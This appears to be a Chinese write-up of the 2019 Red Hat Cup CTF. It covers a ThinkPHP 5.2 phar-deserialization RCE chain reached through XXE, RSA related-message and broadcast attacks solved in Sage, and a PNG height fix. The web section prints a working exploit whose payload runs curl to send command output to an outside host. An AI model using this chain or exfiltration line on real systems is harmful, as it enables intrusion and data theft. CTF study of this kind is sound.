2019红帽杯

前言

打完湖湘杯紧接着就是红帽杯，两场比赛形成鲜明对比，吹一波pwn爷爷牛逼！

Web

Ticket_System

通过js可以找到postXML接口

XXE漏洞存在，读取根目录下的hints.txt得知需要实现rce

从报错页面得知thinkphp的版本为5.2.0，查到tp5.2的RCE pop链并利用

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");

        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("ls");
    $Conver= new think\model\Pivot("curl http://ip:port/ -d `cmd`;");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($payload));
}
?>

通过ls打回发现根目录有flag和readflag，flag无法直接读，而拿下readflag放入ida发现需要提交问题答案才能得到flag，这里想到了*CTF的mywebsql，于是将那题的脚本写入上传

<?php
$descriptorspec = array(
    0 => array("pipe", "r"),  // 标准输入，子进程从此管道中读取数据
    1 => array("pipe", "w"),  // 标准输出，子进程向此管道中写入数据
    2 => array("file", "/tmp/error-output.txt", "a") // 标准错误，写入到一个文件
);

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = trim($question);
    var_dump($question);
    eval('$result = '.$question.';');   // 计算问题结果
    fwrite($pipes[0], $result);         // 回答程序问题
    fclose($pipes[0]);
    var_dump($result);

    // $flag = stream_get_contents($pipes[1]);// getflag
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);

    fclose($pipes[1]);
    var_dump($flag);

    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

然后使用

1	php /tmp/uploads/4a8a08f09d37b73795649038408b5f33/20191111/a1366473906508668348fdf37c6c6feb.xml

运行flag弹回到端口上

Crypto

Broadcast

出题人失误，源文件直接给出了flag

由题目已知

由题目名联想到Related Message Attack，比赛的时候弟弟们只找到了这个Orz

https://github.com/ashutosh1206/Crypton/tree/master/RSA-encryption/Attack-Franklin-Reiter

没有找到下面这个paper，从这个paper可以找到一个推广的结论

https://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf

据此可以构造同余方程组, 利用 Gtoebner Basis 对方程式的变量做线性变换的化解(类似于求代数方程的解) 即可解出初始状态获得 flag

import binascii
n = 16084923760264169099484353317952979348361855860935256157402027983349457021767614332173154044206967015252105109115289920685657394517879177103414348487477378025259589760996270909325371731433876289897874303733424115117776042592359041482059737708721396118254756778152435821692154824236881182156000806958403005506732891823555324800528934757672719379501318525189471726279397236710401497352477683714139039769105043411654493442696289499967521222951945823233371845110807469944602345293068346574630273539870116158817556523565199093874587097230314166365220290730937380983228599414137341498205967870181640370981402627360812251649
s = 280513550110197745829890567436265496990
c1 = 10607235400098586699994392584841806592000660816191315008947917773605476365884572056544621466807636237415893192966935651590312237598366247520986667580174438232591692369894702423377081613821241343307094343575042030793564118302488401888197517625333923710172738913771484628557310164974384462856047065486913046647133386246976457961265115349103039946802386897315176633274295410371986422039106745216230401123542863714301114753239888820442112538285194875243192862692290859625788686421276234445677411280606266052059579743874849594812733193363406594409214632722438592376518310171297234081555028727538951934761726878443311071990
c2 = 2665348075952836665455323350891842781938471372943896177948046901127648217780657532963063228780230203325378931053293617434754585479452556620021360669764370971665619743473463613391689402725053682169256850873752706252379747752552015341379702582040497607180172854652311649467878714425698676142212588380080361100526614423533767196749274741380258842904968147508033091819979042560336703564128279527380969385330845759998657540777339113519036552454829323666242269607225156846084705957131127720351868483375138773025602253783595007177712673092409157674720974653789039702431795168654387038080256838321255342848782705785524911705
c3 = 4881225713895414151830685259288740981424662400248897086365166643853409947818654509692299250960938511400178276416929668757746679501254041354795468626916196040017280791985239849062273782179873724736552198083211250561192059448730545500442981534768431023858984817288359193663144417753847196868565476919041282010484259630583394963580424358743754334956833598351424515229883148081492471874232555456362089023976929766530371320876651940855297249474438564801349160584279330339012464716197806221216765180154233949297999618011342678854874769762792918534509941727751433687189532019000334342211838299512315478903418642056097679717

R.<x, y, z> = Zmod(n)[]
I = ideal(x + y + z - s, x^17 - c1, y^17 - c2, z^17 - c3)
res = I.groebner_basis()
#print(res)
m1 = n - Integer(res[0] - x)
m2 = n - Integer(res[1] - y)
m3 = n - Integer(res[2] - z)
m = (Integer(m3<<256) + Integer(m2<<128) + Integer(m1))
#print(m)
print(binascii.a2b_hex(hex(m)[2:]))

精明的Alice

题目名说是Broadcast，但实际上并不是简单的广播攻击。简单的广播攻击，前提是对同一个m加密，但在这一题里，显然每一次的m都不一样，并且e=3的时候，只有2个明密文对

data = {'from': sha256( b'Alice' ).hexdigest(),
            'to'  : sha256( name.encode() ).hexdigest(),
            'msg' : msg
            }
    data = json.dumps(data, sort_keys=True)
    m = number.bytes_to_long( data.encode() )

其中只有'to' : name会变，又由于json.dumps(data, sort_keys=True)，data会根据key排序输出，即

可以发现，msg会被排序至中间这个位置。根据题目，我们可以知道每一个m的高、中位都是不变的，只不过低位变了而已，而我们要求的是中间的msg，参考SCTF的babygame

http://www.soreatu.com/ctf/writeups/Writeup%20for%20babygame%20in%202019%20SCTF.html

使用Broadcast Attack with Linear Padding

https://github.com/ashutosh1206/Crypton/tree/master/RSA-encryption/Attack-Hastad-Broadcast

Misc

签到

填问卷拿flag

Advertising for Marriage

查看文件发现vegetable.png，然后dump下来

但是这个图在kali里打不开，显示crc错误，拖出来爆破得到高度为d3，修改得到原图片

import binascii
import struct
img = open("vegetable.png","rb").read()
for i in range(1024):
    c = img[12:20]+struct.pack('>i',i)+img[24:29]
    crc32 = binascii.crc32(c) & 0xffffffff
    if crc32 == 0xb80a1736:
        print hex(i)